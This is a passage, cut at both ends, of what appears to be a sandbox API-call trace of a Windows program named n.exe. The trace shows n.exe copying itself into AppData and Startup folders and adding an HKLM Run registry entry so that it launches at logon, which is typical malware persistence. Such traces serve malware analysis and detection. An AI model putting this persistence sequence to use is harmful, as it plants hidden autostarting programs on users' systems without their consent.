Size=0xfffe) returned 0x60b558 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d44c0 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d44c0, Size=0x40) returned 0x5f6ad0 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d44c0 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d4498 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d4470 [0181.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4470, Size=0x40) returned 0x5f6b18 [0181.466] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60b558, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b560 [0181.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b568 [0181.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d4470 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4470, Size=0x40) returned 0x5f6b60 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b60, Size=0x80) returned 0x5f5390 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5390, Size=0x100) returned 0x5f7cd8 [0181.467] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cd8 | out: hHeap=0x5c0000) returned 1 [0181.467] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\n.exe", lpDst=0x61b560, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\n.exe") returned 0x1a [0181.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b568 | out: hHeap=0x5c0000) returned 1 [0181.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b560 | out: hHeap=0x5c0000) returned 1 [0181.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x22d0020 [0181.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5d4470 [0181.467] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a58 [0181.467] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.468] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.468] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0181.468] lstrlenW (lpString="kernel32.dll") returned 12 [0181.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4470 | out: hHeap=0x5c0000) returned 1 [0181.468] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.468] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0181.468] CreateFileW (lpFileName="C:\\Windows\\System32\\n.exe" (normalized: "c:\\windows\\system32\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.468] CloseHandle (hObject=0xe0) returned 1 [0181.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.468] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a58 [0181.468] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.468] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a08 [0181.468] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.468] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.468] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.468] lstrlenW (lpString="kernel32.dll") returned 12 [0181.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.468] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x22d0020 | out: hHeap=0x5c0000) returned 1 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b560 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b568 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a58 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5a58, Size=0x40) returned 0x5f6b60 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b60, Size=0x80) returned 0x63b588 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f7cd8 [0181.469] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cd8 | out: hHeap=0x5c0000) returned 1 [0181.469] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\n.exe", lpDst=0x61b560, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 0x34 [0181.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b568 | out: hHeap=0x5c0000) returned 1 [0181.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b560 | out: hHeap=0x5c0000) returned 1 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x22d0020 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a58 [0181.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a08 [0181.469] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.469] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.469] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.469] lstrlenW (lpString="kernel32.dll") returned 12 [0181.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.470] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.470] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.470] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0181.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0181.470] ReadFile (in: hFile=0xe0, lpBuffer=0x22d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0181.628] WriteFile (in: hFile=0xe4, lpBuffer=0x22d0020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0181.638] ReadFile (in: hFile=0xe0, lpBuffer=0x22d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0181.638] CloseHandle (hObject=0xe4) returned 1 [0181.638] CloseHandle (hObject=0xe0) returned 1 [0181.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.638] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a08 [0181.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.638] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a58 [0181.639] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.639] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.639] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.639] lstrlenW (lpString="kernel32.dll") returned 12 [0181.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.639] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x22d0020 | out: hHeap=0x5c0000) returned 1 [0181.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.643] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a08 [0181.643] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5a08, Size=0x40) returned 0x5f6b60 [0181.643] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b60, Size=0x80) returned 0x63b588 [0181.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 51 [0181.643] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0181.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5c) returned 0x5f5390 [0181.643] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0181.644] RegSetValueExW (in: hKey=0xe0, lpValueName="n.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe", cbData=0x66 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\n.exe") returned 0x0 [0181.644] RegCloseKey (hKey=0xe0) returned 0x0 [0181.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5390 | out: hHeap=0x5c0000) returned 1 [0181.645] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0181.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b588 | out: hHeap=0x5c0000) returned 1 [0181.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b560 [0181.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b568 [0181.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b50 [0181.645] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b50, Size=0x20) returned 0x5f5a08 [0181.645] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5a08, Size=0x40) returned 0x5f6b60 [0181.645] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b60, Size=0x80) returned 0x63b588 [0181.645] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f7cd8 [0181.645] lstrlenW (lpString="") returned 0 [0181.645] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7de0 [0181.645] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0181.645] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x62b568*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0181.645] RegCloseKey (hKey=0xe0) returned 0x0 [0181.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7de0 | out: hHeap=0x5c0000) returned 1 [0181.645] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.645] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7de0 [0181.645] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0181.645] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0181.645] RegCloseKey (hKey=0xe4) returned 0x0 [0181.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7de0 | out: hHeap=0x5c0000) returned 1 [0181.645] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0181.646] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cd8 | out: hHeap=0x5c0000) returned 1 [0181.646] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x61b560, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x62 [0181.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b568 | out: hHeap=0x5c0000) returned 1 [0181.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b560 | out: hHeap=0x5c0000) returned 1 [0181.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x22d0020 [0181.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.646] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a08 [0181.646] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.646] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a58 [0181.646] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.646] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.646] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.646] lstrlenW (lpString="kernel32.dll") returned 12 [0181.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.646] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0181.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0181.647] ReadFile (in: hFile=0xe4, lpBuffer=0x22d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesRead=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0181.823] WriteFile (in: hFile=0xe8, lpBuffer=0x22d0020*, nNumberOfBytesToWrite=0xa8600, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesWritten=0x18fd98*=0xa8600, lpOverlapped=0x0) returned 1 [0181.833] ReadFile (in: hFile=0xe4, lpBuffer=0x22d0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x22d0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0181.833] CloseHandle (hObject=0xe8) returned 1 [0181.834] CloseHandle (hObject=0xe4) returned 1 [0181.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.834] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a58 [0181.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.834] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a08 [0181.834] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.834] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.834] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.834] lstrlenW (lpString="kernel32.dll") returned 12 [0181.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.834] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x22d0020 | out: hHeap=0x5c0000) returned 1 [0181.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61b560 [0181.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62b568 [0181.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.839] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a58 [0181.839] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5a58, Size=0x40) returned 0x5f6b60 [0181.839] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6b60, Size=0x80) returned 0x63b588 [0181.839] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x5f7cd8 [0181.839] lstrlenW (lpString="") returned 0 [0181.839] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c) returned 0x5f7de0 [0181.839] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0181.839] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0181.839] RegCloseKey (hKey=0xe4) returned 0x0 [0181.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7de0 | out: hHeap=0x5c0000) returned 1 [0181.839] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0181.839] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0181.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7cd8 | out: hHeap=0x5c0000) returned 1 [0181.839] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x61b560, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x43 [0181.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62b568 | out: hHeap=0x5c0000) returned 1 [0181.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b560 | out: hHeap=0x5c0000) returned 1 [0181.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x22d0020 [0181.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a58 [0181.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a08 [0181.840] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.840] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.840] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.840] lstrlenW (lpString="kernel32.dll") returned 12 [0181.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.840] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0181.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.840] CloseHandle (hObject=0xe4) returned 1 [0181.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a08 [0181.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4b80 [0181.840] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4b80, Size=0x20) returned 0x5f5a58 [0181.841] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.841] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.841] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0181.841] lstrlenW (lpString="kernel32.dll") returned 12 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a58 | out: hHeap=0x5c0000) returned 1 [0181.841] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5a08 | out: hHeap=0x5c0000) returned 1 [0181.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x22d0020 | out: hHeap=0x5c0000) returned 